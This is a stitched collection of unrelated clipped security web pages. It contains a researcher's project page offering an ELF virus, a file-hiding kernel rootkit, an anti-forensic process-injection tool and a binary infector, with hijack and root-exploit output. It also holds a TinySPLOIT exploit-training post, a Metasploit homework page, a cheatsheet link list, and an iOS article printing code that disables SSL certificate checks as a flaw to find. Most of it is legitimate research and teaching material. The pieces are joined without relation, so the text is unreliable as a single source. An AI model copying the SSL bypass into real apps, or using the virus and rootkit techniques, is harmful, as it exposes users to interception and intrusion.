    elfmaster@codebox:~/maya_drm$ gdb -q test.maya
    "/home/elfmaster/maya_drm/t.maya": not in executable format: File format not recognized
    (gdb) quit
    elfmaster@codebox:~/maya_drm$ ltrace ./test.maya
    ltrace: Couldn't find .dynsym or .dynstr in "./t.maya
    elfmaster@codebox:~/maya_drm$ strace ./test.maya
    WARN:P_ATTACH; The Veil of Maya shall vail still, and conceil what the debugger might reveal
    --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12832, si_status=0, si_utime=0, si_stime=0} ---
    --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x1} ---
    +++ killed by SIGSEGV (core dumped) +++
    Segmentation fault (core dumped)
    		
    elfmaster@codebox:~/maya_drm$ qemu-x86_64 ./test.maya
    Segmentation fault (core dumped)
    elfmaster@codebox:~/maya_drm$
    		
[/code]

#### **Maya uses binary instrumented control flow technology for ROP
mitigation**

**Example of exploiting a stack overflow in a vulnerable program:**

[code]

    elfmaster@Ox31337:~/maya_drm$ ./exploit.sh
    # whoami
    root
    		
[/code]

**Now with the program protected by Maya:**

[code]

    elfmaster@Ox31337:~/maya_drm$ ./exploit.sh
    [MAYA CONTROL FLOW] Detected an illegal return to 0x41414141, possible exploitation attempt!
    Segmentation fault
    		
[/code]

## Illustration of Maya's ELF instrumentation method

<img src='img/Temp2_1059.png' alt='maya' />

**_If this technology interests you please don't hesitate to contact me._**

#### **2013 - FTRACE \(ELF Function Tracing\)** for Linux x86\_32/x86\_64.
**\(TR4\)**

\- **Get Ftrace v0.2**

**Features:**

  * Function call tracing 
  * Shows function args as strings 
  * Shows function args as pointer to either heap, stack, or data segment 
  * Distinguishes local calls from PLT \(shared library\) calls. Shows both. 
  * Return value printed in execution sequence 
  * Lists program dependencies 
  * Does not rely soley on symbols, therefore working on stripped ELF Binaries. 
  * Complete control flow displaying branches within ELF sections \(Such as .plt\) 

**Ftrace uses:**

  * Reverse engineering complex programs 
  * Hostile programs: Malware analysis \(Although limited by its use of ptrace\) 
  * Debugging software 

####  **Screenshot of ftrace:**

<img src='img/Temp2_1067.png' alt='ftrace' />

#### **2013 - ELF Demon \(Process possession\) v0.1 \(TR2\)**

##### -**Get ElfDemon v0.1 source code**

**Description:**  
This project was stemmed from an idea I had some years ago, and I recently
worked out some  
code for fun. The idea is to inject a dynamically linked executable into an
existing process,  
and take control. Once execution of the parasite executable finishes, it
passes control back to the  
original program, thus 'possessing' the process. The goal being a form of
anti-forensics  
or data contraception, since the program that is being injected does not
require its own  
process ID. This is much different than shared library injection for several
reasons.  
  
**1.** The code being injected is not position independent code, and therefore
handling manual  
relocations is tricky, and requires disassembling instructions that must be
changed, such as  
a 'mov' instruction that moves an address into a register; if this address
references the old  
memory base, then it must be fixed up to handle the relocation. This is tricky
and error prone,  
and would be ideal with a PIE executable since they can be relocated easily.
The reason relocation  
is necessary is because we don't overwrite the original program that is
running in memory, since  
we want to pass control back to it when the 'evil' executable is done running.  
  
**2.** The program we are injecting is dynamically linked, to libc at a
minimum. If the program were  
to be executed by execve\(\) it would go through the full dynamic linking and
loading process. The  
ELF Demon software handles all of this, including the dynamic linking, by
fixing up the PLT/GOT  
of the 'evil' program with addresses that we resolve from the libc that is
already mapped into  
memory.

**Further goals \(Some nearly accomplished\):**

  * Handle injecting executables that have dependencies beyond just libc 
  * Inject a thread with sys\_clone\(\), that allows the malicious executable  
and the host to run concurrently in the same address space.

**elfdemon** requires udis86 disassembler library to be installed on your
system. Read the README file for more details.

#### **2011 - VMA Voodoo \(DARPA CFT\) \(TR2\)**

VMA Voodoo is a Linux userland memory forensics and monitoring software  
It was funded through the DARPA CFT program, and titled **'Linux VMA
Monitor'**.

**Features:**

  * **Process memory infection heuristics engine \(Detection and disinfection\) aware of:**
  * \- PLT infections 
  * \- PLT/GOT infections 
  * \- Function trampolines 
  * \- Shimmed control flow changes of many types 
  * \- Illegal code modifications 
  * \- Shared library injection \(Through shellcode/dlopen/LD\_PRELOAD\) 
  * \- Packed executables 
  * \- Injected modules 
  * \- Misc. VMA anomalies 
  * ELF Binary integrity checker 
  * **ELF Binary virus detection/disinfection engine aware of:**
  * \- Text segment padding, and reverse padding infections 
  * \- Data segment infections 
  * **Proces image forensics features:**
  * \- Process image snapshots 
  * \- Reconstruction of process image back into functional executable 
  * \- Unpacking of protected executables 
  * **HIDS Daemon:**
  * \- Runs 24/7 scanning all process image 
  * \- Reports malware through classification system 
  * \- Can update admins through email notifications 
  * **GTK GUI:**
  * \- Incorperates the primary detection/disinfection features 
  * \- Very simple to use \(And still very incomplete\) 
  * \- Logging/Messaging system for intrusion detection 

**Limitations:**

  * Currently works on Linux 32bit Only 
  * Snapshot metadata system not complete 

**VMA Voodoo source code may be released at an undetermined date...**

Many more projects coming, my goal is to add atleast one a day. It takes time  
to clean code up, add README's etc.

#### **2010 - Kprobe instrumentation based kernel patching code \(TR1\)**

##### -**Get Kprobe rootkit \(jkit v0.1\) source code**

**Description:**  
_The Jkit rootkit_ \(Meaning jprobe rootkit\) is the product of a phrack paper
I wrote  
in 2010 called __Linux kprobe instrumentation \(Phrack Paper\)__  
and is one of two pieces of code presented in the paper illustrating how the
linux kernel  
debugging functionality can be used for modifying kernel memory and hijacking
control flow  
which proves useful for both security professionals and attackers. I have at
times used this  
method to reliably hook functionality into the kernel while implementing
different types of LKM  
security patches over the years. As an example to the hacker community I wrote
a small rootkit  
that performs file hiding by hooking a combination of functions, and
redirecting file streams.  
For more information read the paper linked above titled _Linux kprobe
instrumentation_

#### **2008 - Quenya - Interactive ELF Binary hacking and Reversing interface
\(TR2\)**

##### -**Get Quenya v0.1 source code**

**Description:**  
_Quenya_ is a reversing system, similar to eresi's elfsh, but not nearly as
stable.  
It was a project I started and completed in a months time, and was the
manifestation of my  
strong desire to both learn ELF hacking better, as well as to have a simple
way to modify and  
analyze process images and binaries. _The name Quenya is named after J.R.R
Tolkeins ELF language;_  
One being Sindarin, and the other Quenya. Quenya has many fun and interesting
features and also  
comes with some code for some different viruses and infectors.

**Quenya Features:**

  * ELF Header/Phdr/Shdr/Sym modifications 
  * \- Add sections, segments, symbols 
  * Relocatable code injection 
  * Function hijacking 
  * Process image reconstruction 
  * Malware unpacking \(UPX, Elfcrypt, etc.\) 
  * Disassembly and code modification \(Cracking software etc.\) 
  * Built-in uselrand exec 
  * readelf features \(To view and analyze headers, symbols, relocations, etc.\) 
  * Interactive command line 
  * Utilizes libptrace \(Very minimally, as it has awesome features\)_written by Scrippie_

#### _Example of injecting obj.o into host executable to hijack puts\(\) with
evil\_puts\(\)_

[code]

    [Quenya v0.1@slum.org] reloc obj.o host
    0x0804854c  addr: 0x804853a
    0x080484ec _write addr: 0x8048546
    Injection/Relocation succeeded
    
    [Quenya v0.1@slum.org] hijack binary host evil_func puts
    Attempting to hijack function: puts
    Modifying GOT entry for puts
    Succesfully hijacked function: puts
    Commiting changes into executable file
    [Quenya v0.1@slum.org] quit
    ryan@slum:/home/ryan/quenya$ ./host
    HAHA puts() has been hijacked bitch!
    	
[/code]

#### **2008 - LPV - > Linux ELF Padding Virus \(TR2\)**

##### -**Get LPV Virus source code**

**Description**  
This little virus was my first actual ELF virus. Its behaviour is that  
once it has ran, it injects itself into the first uninfected executable file  
that it sees \(Within the CWD\). Any file that gets infected by this virus  
will infect other executables, upon runtime. It is a traditional virus in  
the sense that it copies itself to other programs. It uses Silvio's original  
method of utilizing a PAGE of padding between the text and data segment.  
It is written in almost 100% C, and was tested on 32bit Linux years ago.  
**To compile:**_gcc -nostdlib lpv.c -o lpv_

#### **2008 - ElfScure \(Section header obfuscation technique\)\(TR3\)**

##### -**Get ElfScure source code**

**Description**  
ElfScure is a simple tool I designed along time ago \(Same as the _'sht
randstrtab'_ -  
feature in Quenya. It does a high level obfuscation technique that randomly
orders the  
strings of the section header string table. After one elfscures a binary,
_readelf -S_  
will reveal that the sections are in completely random order which leaves a
reverse engineer  
confused as to where things are at, I.E the .plt section will not longer
appear to reflect the PLT code.  
This trick can also be used to randomize symbol names, which is one of the
high level tricks  
used as an option in a neat Software Protection agent I am writing right now.

#### **2008 - AVU \(Anti Virus UNIX\) \(TR2\)**

##### -**Get AVU 32bit source code**

**Description**  
AVU is my first attempt at Linux ELF malware detection software. When I
decided to write it  
I had the firm belief that something of this nature was sorely needed. Viruses
in Linux usually  
come complimentary to system compromise, and can therefore me a good metric
for knowing whether  
' your system has been rooted. UNIX Virus technology is often utilized to
backdoor programs such  
as an LDAP daemon, or some type of program that authentication or credentials
data might be passed  
through, therefore hijacking functions on-disk or in memory can be useful to
an attacker trying  
to acquire more information about the network. There are myriad reasons behind
a UNIX Virus, but  
no matter the reason, AVU is very effective at finding and possibly
disinfecting some of these.  
AVU is prototype code, and a mere trifle compared to _**VMA Voodoo \(DARPA CFT
project\)**_ , which is  
listed above. AVU has nevertheless served me well over the years. I will
release the 32bit version  
since the 64bit has some issues, please feel free to port or extend.

**AVU Features:**

  * Runs on 32bit Linux \(Can be modified for other UNIX like OS's\) 
  * ELF Binary integrity checker 
  * ELF virus heuristics detection engine 
  * ELF virus disinfection engine 
  * \- Text segment padding and reverse padding parasite detection/disinfection 
  * \- Data segment parasite detection/disinfection 
  * Unpacks UPX, and other protected binaries. 
  * Detects memory infections that modify the program code \(text\) 
  * Upon disinfection will Quarantine the original file into a password protected zip. 

#### **AVU example** , disinfecting a program 'VirtualBox' containing a
malicious parasit  

[code]

    sh-4.2$ ./avu ~/bin_dir/ 
    -= warning =- 
    executable: /home/ryan/bin_dir/VirtualBox
    entry point 0x80628cc may not be in .text 
    Found entry point in section: .eh_frame
    Detected A parasite between text & data segment
    Type: Text segment padding virus (padding infection)
    Infected section: .eh_frame
    Parasite Offset: 108748
    Found original entry point: 0x804c1b4
    Attempting to reverse infection and rewrite the binary
    			
    Successfully backed up and quarantined /home/ryan/bin_dir/VirtualBox into .avu/
    Sucessfully disinfected the binary
    							
    Malware analysis Summary:
    
    AVU discovered 1 virus-infected binary
    AVU Sucessfully removed the parasite from 1 file
    	       	
[/code]

#### **2009 - ELF Packer v0.3 \(Software protection for static ELF
executables\) \(TR1\)**

##### -**Get ELF Packer v0.3 source code**

**Description**  
This is one of several early packers that I coded, and is nothing real unique  
It encrypts an ELF executable using RC4 encryption, and wraps the executable
in a stub which loads  
and decrypts the program at runtime, _userland exec style_. If I recall it
works on both 32bit and  
64bit executables, and will work with dynamic linked executables in some
instances, as the code that  
sets up the auxillary vector is flaky. On the topic of software protection, I
am currently designing  
a very hardened Linux ELF software protector that works with all 64bit
executables, and provides highly  
effective anti-debugging techniques, control flow integrity, and function
level encryption/re-encryption.  
More information on Maya will be revealed soon. Meanwhile this ELF Packer is a
general example of polymorphic  
executable wrapping for those who are interested in such things.

#### **2009 - kD \(kernel Detective\) Linux/FreeBSD kernel rootkit HIDS
\(TR2\)**

##### -**Get kernel detective source code**

**Description**  
This software is a host intrusion detection system for Linux and FreeBSD that
uses myriad techniques  
to detect kernel rootkits. Its abilities range from detecting syscall table
modification, to the  
notorious debug register rootkits. It has a daemon called **kmtd** _\(Kernel
malware tracker daemon\)_  
that runs 24/7, scanning kernel memory, and utilizing safe copies of vmlinux
and System.map as known good  
code and memory data. Another daemon **kmond** runs hidden and does not show
up in the process list  
and serves the purpose of monitoring kmtd to make sure that it isn't altered
or killed. It restarts kmtd  
upon a crash or failure of the daemon. Forensics details are emailed
\(insecurely as of now\) to the sysadmins  
listed in the configuration file. The configuration process and also live
monitoring sessions are performed  
by a GUI \(jKMT\) written in Java by Sean Harney \(chrak\), who is skilled and
talented friend of mine; all  
communication between GUI and Daemon happen over SSL. The daemon kmtd
periodically runs an external set of  
custom programs that each are designed to investiage a specific aspect of the
kernel. Here is a list of  
the special functionality tools.

**Kernel forensics tools used by kD**

  * _**/dev/kmt\_mem driver**_
  * \- Gives read access to kernel memory, and will only allow the PID tied to the inode of kmtd to access it. 
  * \- Can give write access for disinfection process. 
  * \- Is an LKM driver for Linux \(FreeBSD has unrestricted /dev/kmem\) 
  * _**kmemstat**_
  * \- Resolves alternative runtime patching info \(.altinstructions\) 
  * \- Applies alternative code patch knowledge to heuristics 
  * \- Compares text segment of kernel memory to text segment of vmlinux 
  * \- Can analyze kernel datatypes and functions by address or symbol name 
  * \- Displays infection code upon detection, and can disinfect through custom kpatch. 
  * _**dr\_chk**_
  * \- Debug register rootkit detection 
  * \- Detects patched do\_debug \(int1\) handler 
  * \- Can detect many, but not all DR rootkits. 
  * _**ktraq**_
  * \- Detects \(And disinfects\) sys\_call\_table modification 
  * \- Utilizes /proc/kallsyms or System.map 
  * _**dps**_
  * \- Detects phony sys\_call\_table's such as those used by suckIT 
  * \- Simple, but effective 
  * _**ksymstat**_
  * \- Kernel symbol interception detection 
  * \- Detects trampolines/hooks 
  * \- Scans every single function in the kernel for hooks 
**Story behind kD:**  
This project was alot of fun, and only endured for 2 months. I had to cease
working on it  
because I went to work at a company to work on a product that was extremely
similar.  
Therefore _**kD**_ is in a TR2 prototype stage. I wrote the code 5yrs ago, and  
have since improved much as an engineer, but the right technology is in the
code to successfully  
detect and identify kernel rootkits in Linux and FreeBSD \(Minimal fBSD
testing\)

_**Challenges:**_  
kernel Detective, detects kernel rootkits in Linux. For many obvious reasons
this is diffcult  
since the compromised kernel has override control on possibly any
functionality that a HIDS  
is using to detect that very compromise. _**kD**_ takes many precausions, such
as  
persistently checking the hash sum of files that it uses for the integrity of
finding code  
and memory discrepency. I believe the most confusing challenge I ran into was
upon realizing  
that the Linux kernel pathes its own text segment at runtime with
_**alternative runtime  
patching for runtime memory barriers**_. The vmlinux \(Which is compressed in
vmlinuz\)  
can have its section header table rebuilt, and a section called
.altinstructions exists which  
contains the code instructions that will be used to in replacement of other
code in the kernel  
This decision allows the Linux community to pump out many stock kernels that
will run on many  
CPU types, with better tailoring towards specific CPU functionality. kernel
Detective must analyze  
the ELF vmlinux altinstructions section \(And .altinstr\_replace\) in order to
make sure that any  
discrepencies it finds when analyzing memory, are really hostile and not just
modifications made  
by the kernel itself. Many other fun challenges existed as well, it has been
many years sine I even  
looked at this code.

#### **Screenshot of kernel Detective GUI detecting a debug register
rootkit\!**

<img src='img/Temp2_1066.png' alt='detect DRR' />

#### **2009 - PAPER: Modern day ELF Runtime infection via GlobalOffsetTable
poisoning**

##### -**Read paper here on vxheaven\!**

**_Description:_**  
Not all of the topics in this paper were new, but it presents a technique to
bypass PaX  
mprotect\(\)/mmap\(\) restrictions that prevent attackers from injecting code
into a process image.  
The result of the paper is a shared library injector that is able to inject a
shared library  
into a process image **without using ptrace\(\) to inject shellcode** into the
target program image.  
Instead we manipulate the **_vsyscall table_** into executing the necessary
syscalls to  
map a custom shared object into the process image, and then perform function
hijacking through the  
global offset table. **Improvements** definately could have been made by
handling relocatable  
code and applying the relocations in memory, but the goal of the paper was
really to introduce  
fiddling with the vsyscall table, although there are strong intro sections to
ELF, dynamic linking  
and ptrace, as well.

#### **2008 - ELF Reverse padding injector \(A technique for ELF binary
patching, or virus\)**

##### -**Get reverse text-infector source code**

**_Description:_**  
This small piece of software injects a parasite into an executable using what
I feel is  
the best approach when needing to inject large amounts of code. Infact you can
inject as much  
as you want. Quenya is capable of this as well, but this is the first code I
experimented with.  
The idea is to extend the text segment in reverse \(backwards\) so that the
parasite code exists  
right after the initial ELF file header, and right before the program header
table. This allows  
one to inject shellcode, or a relocatable object, or whatever into an
executable, and since the  
code is being injected into the text segment, there is no need to mess with
the segment permissions  
whereas data segment injections require adding execute perms to the data
segment \(On NX bit systems\).  
This code works on 32bit ELF executables, but I recently used the same
algorithm on a 64bit project  
where I really test the limits of advanced instrumentation concepts.

#### **2008 - Lavren's Quest \(32bit Linux RPG Video game\) \(TR1\)**

##### <-**Get Lavrens Quest source code**

**_Description:_**  
When I was about 24 I got kind of interested in video game dev. I was playing
alot of  
Fallout 3, and thought it would be fun to design video games instead of
security software.  
I spent nearly 2 months writing 'Lavren's Quest' which is a top down RPG that
uses mostly  
open source graphics; 3D Rendered into 2D sprites. It uses libSDL for sound
and video.  
I hired someone to do the hero graphics, twice. The second guy flaked out, so
the main character  
graphics switch between a guy that looks one way \(More cartoony\) and then
another guy who looks more  
professional, depending on what angle you are walking. The game engine is
mostly done, but I don't  
have enough graphics to complete it, and I got bored after a shortwhile. There
is a spell system  
and an inventory system. You can purchase potions, and receive quests. There
is a soundtrack,  
and attack sounds. The game often crashes unexpectedly and is nearly
unplayable, and the code  
is a good example of lazy security practices, and poor runtime complexity. But
c'mon, it was my  
first video game... oh and I did create a simple scripting interpreter to
easily add NPC's, Enemies  
and quests, as I soon realized that hardcoding these in C were a pain in the
ass. Here are some  
screenshots, enjoy\! NOTE: Run ./INSTALL\_DEPS.sh on ubuntu to apt-get
necessary sdl stuff, then  
type make \(Which uses g++\).

#### Do not run Lavrens Quest as Superuser\!

<img src='img/Temp2_1065.png' alt='The game starts here' />

<img src='img/Temp2_1058.png' alt='The village' />

<img src='img/Temp2_1062.png' alt='A store' />

<img src='img/Temp2_1063.png' alt='The inventory' />

**Stay tuned for more projects. Atleast 1 daily will arrive over the next
month. Cleaning up  
old code and writing README's etc. -Elfmaster**

### Explore

<img src='img/Temp2_1061.png' alt='stypes' />

Consciousness

## _**About**_

**Bit Lackey - A servile follower of bits**  
Bitlackeys research is an independent group of entities who's interest reside
in the idea/paradigm  
that computer security is an Art, a philosophy, and a beautiful representation
of freedom  
of thought, information, and collective forces that drive technology with
computer science  
to revolutionary propulsions. These philosophies, and research principles
result in software  
and technology that allows us as institutions or individuals to secure our
privacy so that it  
is possible to harden our systems, and strengthen our minds towards the myriad
forces of wicked  
that daunt our prospects and threaten our chance of enlightenment.  
  
**Philosophy**  
Explore consciousness, research our minds, propogate research, write code, and
take care of our own.  
_Kwizatz Coderack - 2014 \(aka elfMaster\)_

## _Please feel free to contact elfmaster. BitLackeys founder 2006_

#### **elfmaster \[at\] zoho \[dot\] com**

# TinySPLOIT - Warm-up exercise on Exploit Development

**Created:**| _3/7/2018 8:49:11 AM_  
---|---  
**Updated:**| _3/7/2018 8:49:11 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

Jul

25

#  TinySPLOIT - Warm-up exercise on Exploit Development

<img src='img/tinysploit_gandalf.png' width='318' height='320' />

This year's Exploit Laboratory classes at Blackhat USA 2014 feature completely
new content. First, we have retired Windows XP based exploits altogether from
our RedTeam class. Our advanced class "The Exploit Laboratory: Black Belt"
focuses on ROP, Use-After-Free, Infoleaks and 64-bit exploitation.  
  
The Black Belt class is going to be fast paced, and we mean it\! We expect all
Black Belt participants to be familiar with the workings of stack overflow
exploits, at a minimum.  
  
Enter **TinySPLOIT** \- a compact Linux virtual machine running a vulnerable
web server that you can sharpen your stack overflow skills with.  
  
TinySPLOIT is a 30MB VMware image and can be downloaded here. \(mirror\).
SHA256 checksum:
6bd956c86846a21e713c9f5efa7cf286386d2b4aa654a3734b9ce9b6497fa59a  
  
You can be up and running with TinySPLOIT in a matter of minutes. Boot up the
VM, follow the instructions on its web page, write an exploit and get a
shell\! For debugging purposes, the root password is "exploitlab" :\)  
  
This shall be my 16th year in a row at Blackhat USA. This year, I shall be
joined by the Exploit Lab co-developer and my dear friend S.K. who shall teach
a number of new topics including 64-bit exploitation, and Eric Liu, teaching a
brand new module on information leakage via 1-byte memory overwrites.  
  
Blackhat Training prices go up on the 26th of July, so if you are thinking of
registering for the courses, now's the time. See you in Las Vegas in a week\!

Posted 25th July 2014 by The Exploit Laboratory

Labels: 2014, black belt, blackhat, cyber security, exploit, exploit
development, exploit laboratory, exploitlab, ROP, saumil, saumil shah,
tinysploit, training, tutorial, use-after-free, vegas

__Tweet  
---  
0

###  Add a comment

  

Comment as:

Sign out

Notify me

  

  *[25th July 2014]: 2014-07-25T18:10:00.001Z

# Exe\_Dump\_Utility - Utility Mill - Utility

**Created:**| _5/9/2011 9:23:42 PM_  
---|---  
**Updated:**| _5/9/2011 9:23:42 PM_  
**Author:**| __  
**Tags:**| _bookmark web pe_  
  

## Exe\_Dump\_Utility

#### See what's inside an EXE file or DLL

# Penetration Testing and Vulnerability Analysis - Exploitation - Exploitation
102

**Created:**| _10/31/2010 6:37:40 PM_  
---|---  
**Updated:**| _10/31/2010 6:38:10 PM_  
**Author:**| __  
**Tags:**| _bookmark compiler-building Exploit pentest_  
  

## Exploitation 102

Exploit mitigations, shellcoding, and Metasploit with Dino Dai Zovi.

  * Slides

The homework for this week is to port your exploit for homework.exe to the
Metasploit 3 framework. The framework is installed in your VM and you may use
it from there or from your VM host. You should convert your exploit into a
metasploit exploit module, which will be a single ruby file. Submit this
single file as your solution for the homework.

To get you started on Metasploit module development, you should read the
following web pages:

  * Metasploit Unleased: Porting Exploits
  * Metasploit Wiki: Exploit Module Development

You can also refer to the following simple exploits that are already included
in the framework:

  * modules/exploits/windows/lpd/niprint.rb
  * modules/exploits/windows/proxy/ccproxy\_telnet\_ping.rb

  

# The Professional Security Testers Warehouse for the GPEN GSEC GCIH GREM CEH
QISP Q/ISP OPST CPTS

**Created:**| _2/19/2010 5:23:35 PM_  
---|---  
**Updated:**| _2/19/2010 5:23:45 PM_  
**Author:**| __  
**Tags:**| _cheat sheets network-security_  
  

Hi everyone,  
  
Here i attached a quick reference \(also known as cheatsheet\) for NMAP,  
incorporating in addition to common parameters, some commands which  
are specific of the last branch released. I've also incorporated on  
the lower section some examples with typical scans which can be  
performed with this tool.  
  
http://sbdtools.googlecode.com/files/Nmap5%20cheatsheet%20eng%20v1.pdf  
  
It includes a spanish translated version, so this information could  
reach the entire spanish-speaking community.  
  
I'll look forward to your feedback,  
  
Regards  
  
A. Ramos  
http://www.unsec.net/

**THEIR WEBSITE ALSO CONTAINS INTERESTING LINK TO OTHER CHEATSHEETS:**

WEB SECURITY CHEATSHEET

SQL Injection Cheat Sheet - http://ferruh.mavituna.com/sql-injection-
cheatsheet-oku/  
  
SQL Injection Cheat Sheet - http://michaeldaw.org/sql-injection-cheat-sheet  
  
SQL Injection Cheat Sheet w/ filter evasion -
http://ha.ckers.org/sqlinjection/  
  
SQL Injection Cheat Sheets sorted by DB -
http://pentestmonkey.net/index.php?option=com\_content&task=category&sectionid=9&id=24&Itemid=1  
  
XSS Cheat Sheet w/ filter evasion - http://ha.ckers.org/xss.html  
  
Web App Assesment Cheat Sheet -
ttp://www.secguru.com/files/cheatsheet/webappcheatsheet2.pdf  
  
**  
LEARN MORE ABOUT WEB SECURITY**  
  
GOAT - http://www.owasp.org/index.php/Category:OWASP\_WebGoat\_Project  
  
MOTH - http://www.bonsai-sec.com/en/research/moth.php  
  
Damn Vulnerable Web App - http://www.dvwa.co.uk/  
  
Mutillidae - http://www.irongeek.com/i.php?page=security/mutillidae-
deliberately-vulnerable-php-owasp-top-10  
  
Hackme Bank - http://www.foundstone.com/us/resources/proddesc/hacmebank.htm  
  
Hackme Travel -
http://www.foundstone.com/us/resources/proddesc/hacmetravel.htm  
  
Hackme Shipping -
http://www.foundstone.com/us/resources/proddesc/hacmeshipping.htm  
  
Hackme Casino -
http://www.foundstone.com/us/resources/proddesc/hacmecasino.htm

  

# Nitesh Dhanjani: Secure Coding iPhone and iPad Apps Against MiTM

**Created:**| _1/3/2011 11:58:18 AM_  
---|---  
**Updated:**| _1/3/2011 11:58:37 AM_  
**Author:**| __  
**Tags:**| _attacks Malware-analysis programming_  
  

### Secure Coding iPhone and iPad Apps Against MiTM

Many iOS applications use HTTP to connect to server side resources. To protect
user-data from being eavesdropped, iOS applications often use SSL to encrypt
their HTTP connections.  
  
In this article, I will present sample Objective-C code to illustrate how
HTTP\(S\) connections are established and how to locate insecure code that can
leave the iOS application vulnerable to Man in the Middle attacks. I will also
discuss how to configure an iOS device to allow for interception of traffic
through an HTTP proxy for testing purposes.  

**A Simple App Using NSURLConnection**

The easiest way to initiate HTTP requests in iOS is to utilize the
_NSURLConnection_ class. Here is sample code from a very simple application
that takes in a URL from an edit-box, makes a GET request, and displays the
HTML obtained.

\[Please note that the code in this particular example is mostly from Apple’s
wonderful tutorial on how to use _NSURLConnection_\]

> _//This IBAction fires when the user types in a URL and presses GO_  
>  _\- \(IBAction\) urlBarReturn:\(id\)sender_  
>  _\{_  
>  _//htmlOutput is the UITextView that displays the HTML_  
>  _htmlOutput.text=@ "";_  
>  
>  _//urlBar is the UITextField that contains the URL to load_  
>  _NSURLRequest \*theRequest=\[NSURLRequest requestWithURL:\[NSURL
> URLWithString:urlBar.text\]_  
>  _cachePolicy:NSURLRequestUseProtocolCachePolicy_  
>  _timeoutInterval:60.0\];_
>  
>  _NSURLConnection \*theConnection=\[\[NSURLConnection alloc\]
> initWithRequest:theRequest delegate:self\];_  
>  
>  _if\(\!theConnection\)_  
>  _htmlOutput.text=@ "failed"; _  
>  _\}_  
>  
>  _\- \(void\)connection:\(NSURLConnection \*\)connection
> didReceiveResponse:\(NSURLResponse \*\)response_  
>  
>  _\{_  
>  _//receivedData is of type NSMutableData_  
>  _\[receivedData setLength:0\];_  
>  
>  _\}_  
>  
>  _\- \(void\)connection:\(NSURLConnection \*\)connection
> didReceiveData:\(NSData \*\)data_  
>  _\{_  
>  _\[receivedData appendData:data\];_  
>  
>  _NSString \*tempString = \[\[NSString alloc\] initWithData:data
> encoding:NSUTF8StringEncoding\];_  
>  
>  _htmlOutput.text = \[NSString stringWithFormat:@
> "%@%@",htmlOutput.text,tempString\];_  
>  
>  _\[tempString release\];_  
>  _\}_  
>  
>  _\- \(void\)connection:\(NSURLConnection \*\)connection
> didFailWithError:\(NSError \*\)error_  
>  _\{_  
>  
>  _\[connection release\];_  
>  
>  _\[receivedData release\];_  
>  
>  _NSLog\(@ "Connection failed\! Error: %@ %@",_  
>  _\[error localizedDescription\],_  
>  _\[\[error userInfo\] objectForKey:NSURLErrorFailingURLStringErrorKey\]\);_  
>  
>  _htmlOutput.text=\[NSString stringWithFormat:@ "Connection failed\! Error
> %@ %@",\[error localizedDescription\],_  
>  _\[\[error userInfo\] objectForKey:NSURLErrorFailingURLStringErrorKey\]\];_  
>  _\}_  
>  
>  
>  
>  _\- \(void\)connectionDidFinishLoading:\(NSURLConnection \*\)connection_  
>  _\{_  
>  _NSLog\(@ "Succeeded\! Received %d bytes of data",\[receivedData
> length\]\);_  
>  
>  _\[connection release\];_  
>  
>  _\[receivedData release\];_  
>  
>  _\}_
The result is a simple iOS application that fetches HTML code from a given
URL.

<img src='img/Temp2_5594.png' alt='IOS-app-simple-html' />  
**Figure:** Simple iOS App using _NSURLConnection_ to fetch HTML from a given
URL.

In the screen-shot above, notice that the target URL is http**s**.
_NSURLConnection_ seamlessly establishes an SSL connection and fetches the
data. **If you are reviewing source code of an iOS application for your
organization to locate security issues, it makes sense to analyze code that
uses _NSURLConnection_. Make sure you understand how the connections are being
inititated, how user input is utilized to construct the connection requests,
and if SSL is being used or not. While you are at it, you may also want to
watch for _NSURL\*_ in general to include invocations to objects of type
_NSHTTPCookie, NSHTTPCookieStorage, NSHTTPURLResponse, NSURLCredential,
NSURLDownload_ , etc.**

**Man in the Middle******

_74.125.224.49_ is one of the IP addresses bound to the host name
_www.google.com_. If you browse to https://74.125.224.49, your browser should
show you a warning due to the fact that the _Common Name_ field in the SSL
certificate presented by the server \(www.google.com\) does not match the
host+domain component of the URL.

<img src='img/Temp2_5593.png' alt='IOS-safari-warning' /> **Figure:** Safari
on iOS warning the user due to mis-match of the Common Name field in the
certificate.

As presented in the screen-shot above, Safari on iOS does the right thing by
warning the user in this situation. Common Name mis-matches and certificates
that are not signed by a recognized certificate authority can be signs of a
Man in the Middle attempt by a malicious party that is on the same network
segment as that of the user or within the network route to the destination.

<img src='img/Temp2_5592.png' alt='Ios-NSURL-warning' /> **Figure:**
_NSURLConnection's connection:didFailWithError:_ delegate is invoked to throw
a similar warning.

The screenshot above shows what happens if we attempt to browse to
https://74.125.224.49 using our sample App discussed ealier: the
_connection:didFailWithError:_ delegate is called indicating an error, which
in this case warns the user of the risk and terminates.

This is fantastic. Kudos to Apple for thinking through the security
implications and presenting a useful warning message to the user \(via
_NSError_\).

Unfortunately, it is quite common for application developers to over-ride this
protection for various reasons: for example, if the test environment does not
have a valid certificate and the code makes it to production. The code below
is enough to over-ride this protection outright:

_\- \(BOOL\)connection:\(NSURLConnection \*\)connection
canAuthenticateAgainstProtectionSpace:\(NSURLProtectionSpace
\*\)protectionSpace_

_\{_  
_return \[protectionSpace.authenticationMethod
isEqualToString:NSURLAuthenticationMethodServerTrust\];_  
_\}_  
  
  
_\- \(void\)connection:\(NSURLConnection \*\)connection
didReceiveAuthenticationChallenge:\(NSURLAuthenticationChallenge
\*\)challenge_

_\{_  
_\[challenge.sender useCredential:\[NSURLCredential
credentialForTrust:challenge.protectionSpace.serverTrust\]
forAuthenticationChallenge:challenge\];_  
_\}_

The details on this code is available from this stackoverflow post. There is
also a private method for NSURLRequest called
_setAllowsAnyHTTPSCertificate:forHost:_ that can be used to over-ride the SSL
warnings but Apps that use it are unlikely to get through the App store
approval process \(Apple prohibits invocations of private API\).

**If you are responsible for reviewing your organization's iOS code for
security vulnerabilities, I highly recommend you watch for such dangerous
design decisions that can put your client's data and your company's data at
risk.**

**Intercepting HTTPS traffic using an HTTP Proxy.**

As part of performing security testing of applications, it is often useful to
intercept HTTP traffic being invoked by the application. Applications that use
_NSURLConnection_ 's implementation as-is will reject your local proxy's self-
signed certificate and terminate the connection. You can get around this
easily by implanting the HTTP proxy's self-signed certificate as a trusted
certificate on your iOS device \[Note: This is not a loop-hole against the
precautions mentioned above: in this case we have access to the physical
device and are legitimately implatining the self-signed certificate\].

If you are using the Burp Proxy or the Charles Proxy, all you need to do is
place the self-signed cert on a HTTP location and browse to it. Instructions
